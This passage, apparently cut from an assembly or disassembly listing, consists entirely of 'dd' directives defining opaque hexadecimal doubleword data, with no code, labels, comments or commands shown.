0D4988F11h, 0D087E788h dd 11606EC8h, 626A3136h, 133919E6h, 0A729A0A0h, 4006F5Fh dd 0A4CD46C4h, 96091Bh, 1C39CBFAh, 0C135C6BEh, 0E31425E4h dd 23AC480Eh, 529601A2h, 1894A8C5h, 0AEEE8838h, 0A74F521Dh dd 0A572C40h, 0C41297EAh, 84849081h, 7CF800C1h, 20AD0951h dd 44012180h, 33009E14h, 0B8BB7E6Eh, 48C07C08h, 9100ACE9h dd 0AE98174Fh, 1B30ACE8h, 0C97848C5h, 77CB0FC2h, 0CC8D090Ah dd 0C8CC0251h, 115EA830h, 88DD60F8h, 0A0B880D0h, 0DD967A5Eh dd 98433600h, 607297B7h, 0B27E71h, 2F171570h, 2EF495EAh dd 4796D0C0h, 4CE09082h, 9C081885h, 0B603F8C0h, 0CF22063h dd 12FA0B9h, 94A8F020h, 60C71B90h, 7682E2D9h, 28C8E232h dd 0FC11FC80h, 936EC480h, 448CB498h, 0CC0CD4E6h, 0D29E9A6Eh dd 2F220C66h, 0C168FE45h, 7B6C5F09h, 30D00707h, 7C15811Ch dd 0FC5C00ABh, 8259E8BAh, 0E7009281h, 0A380684Bh, 14113AC0h dd 48BB2018h, 18CEBB8h, 0FB79B8A1h, 26662593h, 5A1E006Ch dd 0D377869h, 90280022h, 6BDCC55Dh, 0FF01A010h, 0BB889B82h dd 1C305894h, 381740CFh, 68002491h, 3E22AF8Ch, 344D02D4h dd 0CC9B1997h, 0D994D0A3h, 0DAF293Ah, 111D39ABh, 0F63DC3E8h dd 0DCDD0790h, 5EED9815h, 0DB21028Ch, 8C3EFB3Eh, 0A809E5AAh dd 8977017Fh, 0AEB3CB12h, 0FC90919Fh, 0DB59B701h, 8111389Ah dd 93606E41h, 85EB524Ch, 5519F000h, 20AC0AB1h, 0E00A119Fh dd 0C81D6F4Ch, 6A0BB00h, 1CA1633Dh, 4A311370h, 82A4C57Ch dd 0C71C8398h, 0BECBB461h dd 24392489h, 49190F11h, 0E8FA59EDh, 0E4005603h, 2E90DC92h dd 9F5FBA9h, 0ED932552h, 0A1AC0C00h, 0C00CF217h, 38102648h dd 0F44F50F0h, 2D98F8h, 9B9C6640h, 1BFF54E7h, 3CD1AC99h dd 4D484118h, 614F008Ch, 98639A3Ah, 0F8C8D0C2h, 412BC064h dd 0CE433A8h, 0F8089421h, 841848D7h, 28CE4F8h, 0A02CD1A4h dd 86139B0h, 9A9B106Fh, 14B4A042h, 54B890AEh, 8CFB34BDh dd 14A8C348h, 8834AC98h, 0CBD783E5h, 0EFF0FC6Eh, 0E04C4BB4h dd 1E607044h, 0CF5B5D21h, 730F0BE9h, 0A103270Eh, 0CC0E09B4h dd 69897911h, 102482FEh, 11540A20h, 3DC680AEh, 87C590AAh dd 3EFEDE03h, 3C74F0D2h, 976D0048h, 64EEEBBBh, 90C917C3h dd 6A40220Ch, 53550514h, 23583A84h, 0EAF004EDh, 10C08899h dd 13B3BC1Bh, 1AD07C68h, 0C894E9C9h, 60926804h, 23AE3DC2h dd 511A590h, 3E077A58h, 60D3DA35h, 89FF7101h, 848F8006h dd 368E883h, 36A0909Bh, 0D021F4FAh, 85CE91CDh, 4CC25EAAh dd 0D46891ADh, 5EA2BE10h, 0F0423C00h, 41F77BD6h, 5A6801C7h dd 0FF2795B7h, 18E450CCh, 0DD483C8Ch, 0F899185Ch, 26646641h dd 91A80A2Bh, 0A294531Eh, 0E0EF3038h, 0A9793F01h, 0FB9C5F80h dd 20615988h, 0EC4BA882h, 0D9904304h, 19803D2Fh, 0B6D741Fh dd 0B20344E3h, 0C7314636h, 0F420D00Fh, 65113C71h, 0FFC1C886h dd 2B00D1E2h, 6F69D6D4h, 16927696h, 1F6BBD43h, 61FA8063h dd 97678956h, 212BB6EAh, 0BC39E0A9h, 0ED90883Eh, 400664DDh dd 2B3EF1D9h, 911E0FC7h, 4D40B870h, 94C8639Ch, 0B41BC11Dh dd 8AB7C08Fh, 0FC02D6FBh, 411D869Bh, 0F040C4D0h, 575EC6h dd 12C0FE48h, 51922071h, 84A02D00h, 384BB322h, 9C40C1B9h dd 8097F393h, 922A1658h, 60E2B2Fh, 6032C075h, 0A278F113h dd 18A0CCA1h, 0BF520890h, 0E071A4A8h, 0E852F4h, 59A212C4h dd 8F1E9228h, 3F3C5899h, 730B207Ch, 0E96108A8h, 1101D695h dd 0DF579C94h, 0D14CD0A9h, 18D018ECh, 510F388Ch, 0C6000463h dd 0A1DBE7A0h, 8499F13Eh, 0DACF44A1h, 0AD4A1A00h, 0C08B269Ah dd 0ABF887B4h, 0B8E9BE9Bh, 60F17084h, 26906EC1h, 70A4DC98h dd 6E06C9D1h, 342F0CADh, 985B03F9h, 59899FCEh, 0A23A14F0h dd 0B6480702h, 8201AC6Bh, 9D589A88h, 803911B8h, 335610Bh dd 209CB89Ah, 9276F8F0h, 0D0F75830h, 9188C21h, 0E75F649Eh dd 0FF851860h, 78AEF134h, 2158C08h, 1D9F9460h, 1484A00Eh dd 2BF34Eh, 0F9C522FAh, 3B8F4C7Eh, 0DD1920C0h, 0A7CEA1D1h dd 4D738820h, 0CC11ECC8h, 0C45EAC80h, 0FC43BD5Fh, 0BC1CD222h dd 38C65EA4h, 20E054CAh, 8498FC34h, 28F12F45h, 8CA4A048h dd 0C3529404h, 46284A8h, 52ACEC20h, 0B12200D3h, 0F3079285h dd 9C133D03h, 0D8203997h, 76831AAh, 95D36BC3h, 0EA9C4298h dd 3DA0AC80h, 28C6AD52h, 1C311849h, 0C05E62BBh, 0A3D11C19h dd 964CC220h, 77007B90h, 7F44FC3Bh, 25BC8F84h, 0C400F71Fh dd 0BF949003h, 4298A601h, 0E25E4AD8h, 1B63BF0h, 0EEF6C366h dd 85F17B9Ch, 1EE56030h, 1F400C1h, 5A58C004h, 9E39FC21h dd 0A389849h, 1D5E891h, 0FA4DE0F4h, 0E435DA82h, 0FD00883Fh dd 2C0978E3h, 0B00EF9B4h, 30DE45F8h, 0C7881058h, 0C05318A8h dd 30AE68F5h, 9BA01254h, 5600E27Fh, 6DADB9DFh, 1073374h dd 991AF42Ah, 384B648Fh, 84497050h, 789F0090h, 291C6573h dd 47769Ch, 0D996C535h, 4E367241h, 0F730BE00h, 1BD3D80Fh dd 507E0017h, 7229B933h, 0B203CED5h, 5FDC393Ch, 0BA13F04Dh dd 4A9400A7h, 0ED764717h, 24005185h, 49DB938Ah, 7FD46D96h dd 462D07A3h, 40CD6290h, 2920D009h, 0C186F818h, 6E61410h dd 0D32274ADh, 8C1B487Ah, 0CB381789h, 0FE6EF85Ah, 45CD0048h dd 0E3CA9D2h, 940784F2h, 14305743h, 0A3CA51C0h, 652E0039h dd 29DBB3E3h, 0AE00F56Fh, 0F0628D5Ah, 0F8AA8192h, 0C0D7472h dd 0CF971278h, 0F50052E9h, 0ADF1FA9Ch, 0CFEA394h, 0E32E9826h dd 5E0E70A0h, 3ED01A75h, 0A3163180h, 60C698D1h, 978020C8h dd 5E3A5162h, 0C7700147h, 7FC0D2B3h, 9A2BC086h, 141B6850h dd 0E070A732h, 5DFFF6h, 0A20E3E6Ah, 0B0BAC19Ch, 0D31ADD00h dd 0A183DBBEh, 5D6C07B8h, 18F68E1h, 0F1CF181Bh, 0F076E5CAh dd 11D9756h, 0D840E0D7h, 63FD09F7h, 16BC009Bh, 0C968A15Ch dd 80E95935h, 55B73710h, 7B5DDC82h, 0B5D433FAh, 21032808h dd 1D557F9Ah, 4398882Fh, 1970DF62h, 0D0B62057h, 5E603EB8h dd 236F7C11h, 9AD006CFh, 9D71A14h, 9C215360h, 0F8992367h dd 0E2E91805h, 29B8185Dh, 3FEAEF7Ah, 5860B2EBh, 236C30B9h dd 42D0CC11h, 97834A88h, 0D8C32364h, 60616728h, 0B2551951h dd 0C8142E3Ah, 40840F07h, 48CC680h, 0DC8555B0h, 205062B5h dd 6555B897h, 0D82D630Eh, 37057CCEh, 0EB86121Dh, 0B53B00C1h dd 39C496ACh, 29074A93h, 0A023736Ah, 0BB3E5FE1h, 96FA18E3h dd 0D86F995Ah, 0D8117628h, 5CBCB707h, 70A3C5F2h, 1C9DE03Eh dd 0F247121h, 0A6512C1Fh, 8169A780h, 0DA00C95Eh, 6FD6A4EBh dd 2E08482Dh, 389C84C0h, 3E479183h, 79885A5Dh, 9A00C1D0h dd 7EB6AC27h, 1D997Fh, 0D83CFDB3h, 9445ED1Eh, 3F086C00h dd 0C927D9C5h, 10F40083h, 3EA9FC2Bh, 6300BF58h, 0BB41A153h dd 0EF3C16h, 0F5D6477Eh, 75FAE0B9h, 90B55403h, 90F1971Eh dd 3AA982Dh, 0E5E95173h, 54B0DED3h, 37000211h, 3F9610ADh dd 7BD59481h, 2EE30024h, 8C735A2h, 60033AAh, 2579BE3Ah dd 1F376E13h, 0FA5748F2h, 281D7F3Ch, 4B8039D3h, 0CD457ADFh dd 422E0720h, 0F1243F68h, 18C0E420h, 4905C346h, 3C417CE4h dd 1B2E7316h, 0ED063C35h, 284C3FE3h, 0EA3066F2h, 7770615Fh dd 379400A5h, 4BEB2FFCh, 5E00E00Fh, 37621CDh, 1852F923h dd 302DEC68h, 406ED8C7h, 0E880F028h, 4FDCE3EAh, 55976803h dd 7F232F3h, 0C6876578h, 0DD1DDC3h, 7480FA1Ch, 0C33F97AEh dd 826C3D06h, 4298BE41h, 0DB111DABh, 0E9C04B9Bh, 21A16582h dd 10D0515Ch, 0A305F227h, 4EB888D7h, 5C6706CFh, 207CA487h dd 0A9033FFEh, 617F9547h, 1179A848h, 0A4810125h, 84FAA3E5h dd 5DB1803Fh, 0E1717819h, 1F827910h, 41223411h, 64099927h dd 84288C61h, 19316Ch, 1BEA04E9h, 1EFEC4C6h, 7955250Fh dd 16B900B5h, 0DF90FA8h, 844860BFh, 0BBC0FF79h, 140A3541h dd 0A0F7881Fh, 9D09E308h, 6D11CA46h, 3BD60098h, 51F62181h dd 6BF850Fh, 3E7E81C8h, 6DF4728Eh, 0C0C5180Ch, 0BBEB7918h dd 24E15B28h, 6F6020h, 8772B245h, 1EBA4E6Ah, 0E0F66173h dd 0D805E276h, 0F1EFC37Fh, 1892A840h, 673432Ch, 72CB4A0Ah dd 0F6620802h, 60303721h, 0EB78ECh, 0A8D8B2BFh, 0C6BA8F0Eh dd 7EF26E0Ah, 848A9059h, 0E7809477h, 9B5E6765h, 0F5180339h dd 0CFECA759h, 96AB7698h, 71609802h, 430246BBh, 2B493A30h dd 30F10540h, 11C07D36h, 2A86B55Fh, 192BE8E4h, 8AEFCFEh dd 0D0D05771h, 4B6686BDh, 45F5360Ah, 6244DC6Ch, 7080714Fh dd 8373DCB8h, 2CCDD201h, 969A2F67h, 24EAE4DCh, 6340B8Bh dd 797E73F2h, 0ECB41C09h, 0D2C2002h, 1897BE45h, 597D8720h dd 311F7730h, 0C41832Ah, 0A7F04CD9h, 187148D0h, 0BED2BA3Dh dd 1C06E417h, 415E6634h, 2B6D28C8h, 1B946C4h, 73452C16h dd 0EC0C4EFAh, 3A2E3D88h, 0A680362Dh, 2B0BF277h, 0DC07254Ah dd 2A7444B6h, 0E46366AFh dd 0ECC00C8h, 0FC2E54B3h, 4EF521EAh, 0C0EB88FCh, 0E7A44269h dd 2F481000h, 66795083h, 0FFE01246h, 0DBE40054h, 8B23B9F2h dd 8EE4613Dh, 40884420h, 0F5115183h, 0C4A9547Eh, 0F0DF2666h dd 54D3A858h, 3E1B442h, 0FD4AB3D4h, 0D0E8CF27h, 0C900437h dd 533FEE03h, 3A13EA69h, 2D0C9139h, 27C9C906h, 0B0AA2800h dd 6A232E4Ch, 83E6944h, 20098C10h, 1D51AA00h, 4EC3383Fh dd 847C044Bh, 898722C7h, 0B19FECECh, 0AE61603h, 26E7439Eh dd 616C7B09h, 30664DB1h, 0BF0484F7h, 64B3B849h, 6E04FC80h dd 1589399h, 0E42986B4h, 887318BDh, 8602BC3Dh, 0E7DB7A91h dd 46D880BFh, 3A8E43CBh, 49605323h, 4933A0A1h, 0A8875128h dd 6A4EF0Ah, 6B108879h, 2FC030C8h, 464CBBAAh, 5A2226h dd 0D5AA2708h, 0E55190DDh, 43A4BB16h, 0CEEB3C42h, 0B7BC8034h dd 48C76F4Eh, 19142063h, 230E3029h, 95BF9F55h, 4180A020h dd 9ADF14B1h, 0AC72448Ch, 38B19900h, 3CB381DCh, 94F000A7h dd 0BE065B0h, 0CD00446Eh, 0C40DFFD2h, 9A7EBB46h, 0C7EB4864h dd 700426h, 0D8ED1209h, 0F3147AFCh, 269CE6D7h, 0C7D0942Eh dd 0BBE20591h, 95E07ECh, 90B89070h, 0E5011EF6h, 0D893FB21h dd 80475163h, 68A48991h, 781FD850h, 0AA7FFEAFh, 0EC0410CCh dd 37D8A884h, 0F7420057h, 0C615BE6Dh, 0A1000F5Ch, 75388E96h dd 988B82h, 54AF2E0Dh, 455D1FE7h, 0E742209h, 0FC6580F6h dd 0EE82E5h, 0EB65AF7Fh, 0C1C430AAh, 4B455F00h, 0E818B58h dd 0DD0D00F0h, 0A33134EFh, 800069AAh, 0CE500C72h, 0E3AF22h dd 6510E77h, 81D945F7h, 798AD600h, 673102B8h, 0E3340023h dd 8F36D226h, 0AE00C1EAh, 0E2BBE8A1h, 116E9D5h, 472E59A6h dd 0C4FF021Dh, 0CA03AF40h, 0C3692482h, 7D269877h, 7CD90052h dd 0DFE18F02h, 9C001265h, 41785668h, 405E0B3h, 8DA07B82h dd 0C44FC27h, 0A577C14h, 0A8C2006Fh, 43AB115Eh, 461E5B37h dd 10806113h, 0E7C68857h, 92D41815h, 0DCDD54FDh, 7BF17000h dd 4B58BAB0h, 130E0FCBh, 0DEA0D85Ch, 8C892A57h, 0E29FF000h dd 0EE51597Bh, 0E978006Eh, 0E8C538B4h, 3901AB81h, 0A4066221h dd 2930B723h, 37221249h, 7FC010Ah, 0E0DA0578h, 0C0004B6Fh dd 0F10181D3h, 7A84F0h, 73FFE599h, 0D5A3D706h, 0A96A8D00h dd 0ED0DA79h, 0BD7F8090h, 9F004472h, 0BF898D5Fh, 1F0DA04h dd 4E6F49CDh, 0DC670FACh, 11002190h, 5D03E66Eh, 20254A4h dd 92F0A348h, 30480B61h, 3007FF1Eh, 0CF33BB3Fh, 281DD460h dd 79F900DFh, 0F259E1A2h, 62075C6Eh, 1881D05Bh, 367E1500h dd 0A1F302E6h, 0BC5D3FA6h, 0B259C05Dh, 60C37021h, 0EB1C38E0h dd 0A0C0B539h, 0D355F95h, 698003Ch, 47C8758Bh, 770C5669h dd 40080705h, 0E9FE3Ah, 3ECAC552h, 2913C18Ah, 56017AF8h dd 8BE03B94h, 0AFC0897h, 0C879DCh, 45117D2Ch, 3322A4D7h dd 0F3F75000h, 0E57E8327h, 9888A892h, 58B713BDh, 9F510087h dd 4A4A71Bh, 14446900h, 7F5C83BAh, 0F1CC0013h, 67E4628Ch dd 0A312F87Ah, 0D049E893h, 42A820D0h, 70A9CFh, 0A3D3B328h dd 0DDFEF95Ch, 0FC9C180Ch, 72C8B2h, 996A5560h, 0E2CE76DAh dd 6F5F781Eh, 0E3B980BBh, 87C672CFh, 7BD000E0h, 46D8E724h dd 77A5D44h, 608F0101h, 72DB785Ch, 40EF509Dh, 841586B7h dd 0E000F07Bh, 4B36217Eh, 90D60731h, 4483B56h, 4132CD80h dd 39FB6D26h, 2A209A4Dh, 7E009CF6h, 4F673EEFh, 1FD7A047h dd 1D109675h, 4D400141h, 46BE0938h, 0C80076D8h, 2E6043B0h dd 763441F5h, 8CD30067h, 1BF74620h, 5000A499h, 57C0EE97h dd 76617CFBh, 492478FEh, 0EB1D4C04h, 1E58096h, 0FBA30394h dd 0F1321D00h, 51158C5Ch, 74734C50h, 0A947D780h, 12098F63h dd 2E49CBh, 0ABF4B860h, 2D37003Dh, 91996445h, 3360ADE8h dd 0FA584621h, 0C2C64C1Ah, 4059301Eh, 184EF332h, 0D60EAA2Dh dd 50219Bh, 0F4355D93h, 32FF03F8h, 0C43D23FBh, 0B4E79AC8h dd 1E455C01h, 6C696827h, 11C7020h, 0AB85CE9Dh, 0E8EC40C4h dd 9700798Ch, 72BACCFh, 0F3ADAE4h, 8A04F1BBh, 0A0228BE7h dd 60504EDEh, 0A844EE3Fh, 15F4D44Ch, 0AD433C00h, 4FF3A15Eh dd 0D5A70075h, 8B396737h, 0B83CA80Bh, 718200A0h, 0F3795DDAh dd 907250h, 8D34A327h, 67B1336Ch, 8AB5CE00h, 0B1156BDh dd 0C3DE0012h, 0C05ABE45h, 0A2188D69h, 4A6E2052h, 942C000Bh dd 11B827D2h, 4100C11Bh, 0B709DECBh, 7AFCE2B6h, 47850074h dd 8E4E238Fh, 0ABA0AAC3h, 0B7732BF1h, 9FAC8800h, 209D1D07h dd 0E0202DBh, 512CD8Eh, 28895761h, 0CEA005Ch, 6BAF926Ch dd 19D83961h, 0A60612h, 2FFC8EB8h, 3106D5CBh, 0A7937EE7h dd 0CD492418h, 880C0F1Ch, 8C80DF49h, 0B223830h, 0D04D8D14h dd 802B38B8h, 7F5AFD48h, 0E8A0A7h, 628EF743h, 6C26E5F6h dd 6874B800h, 0CA557C25h, 28301677h, 62440E87h, 8400C22Eh dd 49F10895h, 0CE6F800h, 0F50E263Dh, 1E909261h, 0C25F250Ah dd 0AE85434Ah, 515D1468h, 0B5C1FBE3h, 867DF0CBh, 2EEB3603h dd 99C57088h, 9820B695h, 1368005Ah, 0CCCA4578h, 0FB01BAFAh dd 4CC8B8DCh, 54222173h, 0DDD32575h, 97245400h, 0D1011DE9h dd 519264EBh, 789F86DAh, 0DE2A4026h, 0A87F01B9h, 28BCFA01h dd 5674EF80h, 6CD024h, 0D0F461E7h, 71CC5D5Eh, 0C1DE8E00h dd 835E4BBh, 0B76D00D3h, 0A1A1CBAh, 83B81E89h, 0B0427600h dd 203A1D23h, 0E5900051h, 0BEA35771h, 0C400495Fh, 174E475Eh dd 0E0BF5211h, 211F1445h, 0EC01A03Fh, 4F370182h, 2B28EC62h dd 0F30DC200h, 0B7C1F2A0h, 383F12D3h, 1E8AE8DFh, 6FC0FA9Ch dd 147D0F41h, 0F1890029h, 695777EEh, 6D0720F5h, 0E70343AFh dd 37F9C2D0h, 0C70D3F08h, 1E05E580h, 0D297EB94h, 0D68ECC0Fh dd 58A0ACF4h, 0A7742866h, 0F5950092h, 287DF3ADh, 700035D1h dd 0B1E8E347h, 0CDEE57Fh, 0CF83BE40h, 69071EFAh, 0C77BD930h dd 65C8A089h, 921EAh, 0FCC5835Ah, 8B232712h, 8436403h dd 428AFACh, 2A16C010h, 0BB0BC0AAh, 0B100A37Eh, 0FFAFC579h dd 0DE5864h, 0B4FA8FF6h, 76116955h, 38102C00h, 86DB1DE1h dd 0F5200758h, 0B0DAEDF7h, 0E7844F9Ah, 0ECDFC300h, 1D857D87h dd 0ED71003Dh, 0E99226DBh, 800E03Ch, 358821C0h, 509EC8h dd 0F08BA3EFh, 72443404h, 0F4CC7307h, 8EA0CECFh, 7DA2679Bh dd 83390451h, 0A40F2E0Ah, 34001CA8h, 59C2E7F5h, 3D4AD27Dh dd 93872710h, 0F04B0F29h, 0F47FD3EDh, 0C77A8500h, 2F227EBFh dd 0B150084h, 0EECE3160h, 810258B9h, 0E46F7997h, 73FC4026h dd 944A3A3Ah, 87EE9F05h, 712CD3F7h, 0C6E86DB3h, 4C3AB223h dd 6BC3AFEh, 0CA28FF50h, 428AA099h, 9E5A07E9h, 403AE61Bh dd 986FBC2Ch, 604D0304h, 7E80FC28h, 326689Dh, 0DF14BB4Fh dd 6E2348Eh, 9E4C2480h, 9DF0E723h, 198F6C96h, 63BD8FB8h dd 1378CF9Bh, 95BE44A8h, 2BF00008h, 4708E42Dh, 0EA0CBD50h dd 307CA0CCh, 52553A43h, 82719F04h, 6681806Dh, 65012514h dd 28F7BDC0h, 21FCA396h, 0CDD60053h, 0C6684FC1h, 0E0079BEh dd 94334AE4h, 17837FDh, 0FE806C47h, 0EC667F88h, 0C077169Eh dd 6B366D1Eh, 0A2294D80h, 39D56A7h, 7E74BDF3h, 90EFE1F2h dd 0A591B7A3h, 81D2A600h, 50F5FAFEh, 0F6FF46Ch, 3BB4CE96h dd 0E2BAC0DCh, 8E513279h, 93125200h, 948259C3h, 0B790B8h dd 5B4CD358h, 0B27587A3h dd 99728900h, 5C18F20Dh, 2E4EF41Bh, 1AA941h, 5DE5F768h dd 0A8001672h, 0F48EA10Dh, 0BC8ACBh, 61560BF2h, 4E7A7B54h dd 0B500E679h, 8060B13Ch, 0A6BF0Ch, 736F7066h, 0B7FC2E75h dd 0F45659h, 404F4BDFh, 9E59CD45h, 6A178984h, 0F14CDCC8h dd 0A7188450h, 4844DC00h, 0C28A3F96h, 0AE785Eh, 13792BA0h dd 1B74FE8Fh, 54EBF000h, 7E5637CAh, 0DFD2008Eh, 0BF0D80ACh dd 0E4050B97h, 0F18AC446h, 783C143Dh, 20EE1112h, 8CB59964h dd 0B667350Eh, 3CC8C04Ah, 0C0EEEFB0h, 0B7704221h, 0E1122B4Ch dd 7700D053h, 0F664E666h, 0E3CD00BCh, 0DC02D171h, 900643F2h dd 9E58808Bh, 0BF8800D8h, 49D1259Fh, 52007122h, 4F76A544h dd 27668F5Dh, 2657E7h, 110771C6h, 0D830E56Ch, 0B7AEE6D0h dd 9E480090h, 99BD5879h, 0A8A9405Ah, 62A5F015h, 9FFFF70Fh dd 0F9E70028h, 3009E2h, 25CEC553h, 0C2A74147h, 87801316h dd 15E2AC90h, 4DC91F60h, 0D2B1401Bh, 4133019Dh, 0FF5F0B1Dh dd 6A53F784h, 0ED738CA4h, 0F9D3A8FFh, 0CFC33C20h, 0EE172D8Fh dd 8AA22500h, 0FD30C5A0h, 0B4E56168h, 61580C44h, 5AD9E148h dd 1F516760h, 98FF764Bh, 56EB005Ah, 42BC9396h, 463AAF8Ah dd 16E586A4h, 0B4E9898Bh, 49EF18C0h, 0E3060E03h, 4284DB56h dd 0FF860021h, 0EAE98388h, 0B7009EB8h, 0C5D62EE6h, 1DB4EDDFh dd 2C84B0h, 245F61D7h, 4929BFFh, 3DB1BA0Fh, 875047E4h dd 8A5FF4B0h, 738D003Fh, 0AA61D30Ah, 4D0077E0h, 0A20C6821h dd 0F9057AAFh, 0B79F8680h, 490978B5h, 0C08D43Eh, 1801F6F1h dd 0EC880F61h, 4880D5DDh, 0D3122EC3h, 3F023919h, 8CE02820h dd 18967CBDh, 112C455Ah, 0C70050C8h, 0A859B6EEh, 0CC49A7B9h dd 0E2213C08h, 74C73801h, 84F899D6h, 7FF6080h, 83509818h dd 2CE410CEh, 2E3027h, 2CBFBC68h, 0E5E002ECh, 8A945A00h dd 0FB4C2280h, 2BDE2829h, 0A70D3064h, 19BD6640h, 826049F0h dd 0D9147C61h, 0C30200EBh, 0A835ADB7h, 5500BA4Ch, 8E22108Dh dd 0A7E250h, 94E0911Ch, 0C34CB905h, 0C13B0D01h, 0B65CD5C8h dd 3C0F3030h, 2800C9B2h, 82F56739h, 0C5399AEBh, 95CD8051h dd 26644B7Bh, 0A70C0037h, 0ADB1FAFDh, 99008D9Eh, 0C604139Bh dd 716A6321h, 87351FFBh, 0E46241BFh, 60020E92h, 0B9E07D9Ch dd 34134100h, 0F8674C35h, 663F0027h, 0BDAC3784h, 0B090E038h dd 0C03E5900h, 6C1492A5h, 0B5D300DBh, 0EA5469F8h, 45FE2EEDh dd 0D2A9AF00h, 331923DAh, 0A06001B8h, 0AB343FEBh, 0C439F9CCh dd 9600F1C2h, 58327205h, 7CB0B83h, 815DBC06h, 6BA2700Eh dd 0E4005523h, 4003F1FCh, 4E18C1h, 473B9515h, 918E1457h dd 27A2D100h, 0CAED7525h, 42D03AE7h, 0A05F5B18h, 0E4FCA777h dd 0B022AE01h, 288DCF75h, 9E6EB040h, 713F00C3h, 0DC2BCED6h dd 3200F1BDh, 93E3B383h, 98B624ECh, 0F69C1B8Ch, 5198A064h dd 6D0ED56Eh, 3F86126h, 0AEAFEE73h, 0AE330021h, 0E10F9734h dd 47289A3Eh, 0C100DCCDh, 0A4554E0h, 3C9BA4B1h, 0B9BCD29Ch dd 14BAE789h, 165D8380h, 0A400A1A0h, 3A724FF5h, 657C4DCh dd 44631BDAh, 8A003EA3h, 0C25C7F65h, 0E43692EAh, 3C67000Ch dd 7C2CC41Ch, 95F29178h, 0F783BB00h, 4BF9E5D4h, 383400CAh dd 0A0E44362h, 0A10936A9h, 8ABFD0h, 0E139C190h, 0E58330B6h dd 4B7607D8h, 346BA300h, 8E168556h, 0F61B5097h, 0F3F200C0h dd 860D070Ah, 0AC1F2C5Ch, 70857ACBh, 88004167h, 49815725h dd 0B2830013h, 6A58537Bh, 0D00D211h, 6F54CC19h, 48BAF9B0h dd 1E3C74C0h, 3BD60707h, 55F00A0h, 2401564Eh, 611FC113h dd 30F469BEh, 0CDAC0071h, 0FDC9CB0Ah, 41007D9Dh, 363B0E15h dd 0EE93967h, 0CD7A6CAAh, 0A00F4467h, 159C580Bh, 38078037h dd 0EF7FE9D0h, 0BDF500BEh, 890636C2h, 2648CFC8h, 68D61F5Ah dd 2C63CC0h, 7A37B16h, 5B41D1E8h, 0EBFDA0BBh, 8500A4C9h dd 7EE1C75h, 170B135h, 9C6DEACCh, 0F83878E8h, 450BD23Eh dd 8C92F5A8h, 48439E96h, 44114072h, 6D9400DDh, 0C6B26557h dd 0A6C9C07Eh, 17C3AB9Ah, 0D1ED8700h, 269DBDEh, 0DCBB0081h dd 0A07DD7C8h, 0B7003AA3h, 167E3427h, 24282E0Bh, 7895F2h dd 4445C7DAh, 0B1087C0Eh, 0BBD5B675h, 0B91BA79Dh, 1B83800h dd 75E55636h, 0B470F200h, 9ED08317h, 421A057Ch, 800AD6AEh dd 9341E515h, 7FCD2224h, 4B00E820h, 3C5AF0D2h, 5226C1h dd 0A4E3BC0h, 13DD252Bh, 0E55F1D01h, 9CCAF190h, 486BA5C8h dd 2C001078h, 0D961E849h, 4503A0B7h, 73E16993h, 41A2A03Bh dd 7A24987Ch, 0C798F3h, 0BA04D928h, 83510360h, 0E6FF6503h dd 805E5882h, 4CE24Fh, 0ED219D05h, 918661C9h, 0F1B11533h dd 3339C036h, 849C0049h, 0A2A8473Dh, 6F001563h, 0A3B0E2B5h dd 717DB9FBh, 69200D9h, 0B43CF1FEh, 0A200799Ah, 0BE425209h dd 0F81C36h, 9C47F065h, 89450F12h, 904A3400h, 6DAE8E33h dd 0A0B40CDAh, 0F1684D56h, 8FA29B00h, 674F7D19h, 0BC8EBE8h dd 3B0303CAh, 0DC0614D2h, 649C5B98h, 2CF7BF01h, 92ACBA88h dd 9868FC34h, 99ED006Bh, 67475564h, 2800BF6Fh, 3EF5108Bh dd 1D1F0192h, 391BE1h, 0E359407Bh, 0EC00144Ah, 3DB49EB9h dd 0F8E471h, 0E8D8E15h, 3A6DF94Fh, 0D2DEF301h, 28B4FEB6h dd 7D483080h, 2F0DD408h, 59294100h, 5AFBAB52h, 0B2BB00Bh dd 0F7CB1F5Eh, 0DF085700h, 8679DBC6h, 8824D300h, 5F8C4E55h dd 2BED240Bh, 68A30340h, 0BA888169h, 0B06FE433h, 0A7D78068h dd 0ACDD91Eh, 0CC4AAA2Dh, 0BCBA00D4h, 451015D0h, 0D25B6D00h dd 0D65EB2Fh, 8CF412A6h, 9D2C0040h, 0BDD77D14h, 20A0B600h dd 1DF35063h, 71530060h, 503C48Ah, 1F98ACF7h, 0F9DEE912h dd 38B9F400h, 0CE73B0h, 14CD74FCh, 11A9E8Dh, 0B865DC1Fh dd 950950B0h, 70B500B3h, 0F967E8DAh, 3726013Bh, 6300921Bh dd 88641A9Ah, 367DF1h, 8B06594Dh, 0DA293203h, 5C990201h dd 39ACFCD1h, 1D7CE4h, 76C0C7C1h, 8F6A4067h, 8E52A500h dd 0EF6E4D49h, 9036005Fh, 58019198h, 0C3009615h, 0E9D03575h dd 0B8B032F4h, 1C090089h, 8A41F9E6h, 1603C22Bh, 3B3789DEh dd 1138D0B2h, 32BB0054h, 0E099D224h, 0F01A048h, 3CC569A1h dd 0AEC0AFB2h, 103B1ED1h, 0FB3DC08Ch, 0E9ADF42Ah, 476A731Fh dd 4186F983h, 3787E096h, 0CDD0008Eh, 7A2F3AD2h, 6006177h dd 4421AEE7h, 88F4A4h, 4CB5504Ah, 9512E9C9h, 4058BA00h dd 0A1DDE330h, 87B4003Fh, 6CABE7D7h, 9D03D046h, 423A0D15h dd 31FCD09Ch, 0D4C20113h, 0CC55EC10h, 8C1FE8AEh, 49C1E900h dd 6FFF0293h, 0A6B904CFh, 0C03261F8h, 2404DDD6h, 9BFD110Eh dd 0C6082037h, 7AA55Ah, 325DD8D6h, 1B34C3B1h, 18C77907h dd 0D1E25165h, 73C0C0FAh, 62C880D3h, 4D7BF900h, 7CC30F76h dd 17A9EC2Eh, 7C58832h, 0F03184C1h, 0F46845A5h, 0A05D6D00h dd 593715DCh, 0EBC53185h, 0ECE17FD8h, 8D00BF19h, 0D5C7EA0Ch dd 70F3B4AFh, 137E182Ch, 85271D1h, 0D653FC00h, 119F95CCh dd 2C18C00Bh, 2D9DDDC3h, 0D410E15h, 40162018h, 38C144A6h dd 9FB99E02h, 0B0314DD8h, 18B2002Eh, 0EA323BFDh, 4C0084E1h dd 5EBAA268h, 3D2AAEE3h, 0A080DD95h, 3210A443h, 0CF39904Dh dd 27890418h, 0FE86965Ah, 7B5413B0h, 283806FCh, 161E90B0h dd 0B6800669h, 18FABF97h, 0F6F400CCh, 96C83CACh, 9130DDEBh dd 80253853h, 3BF80021h dd 5AE49E23h, 853A2935h, 8F18807Eh, 2A2DAFF7h, 98F83Bh dd 0FCBBD2EAh, 5A92EC3h, 3C00FB9Ch, 24A8DD37h, 7F27426h dd 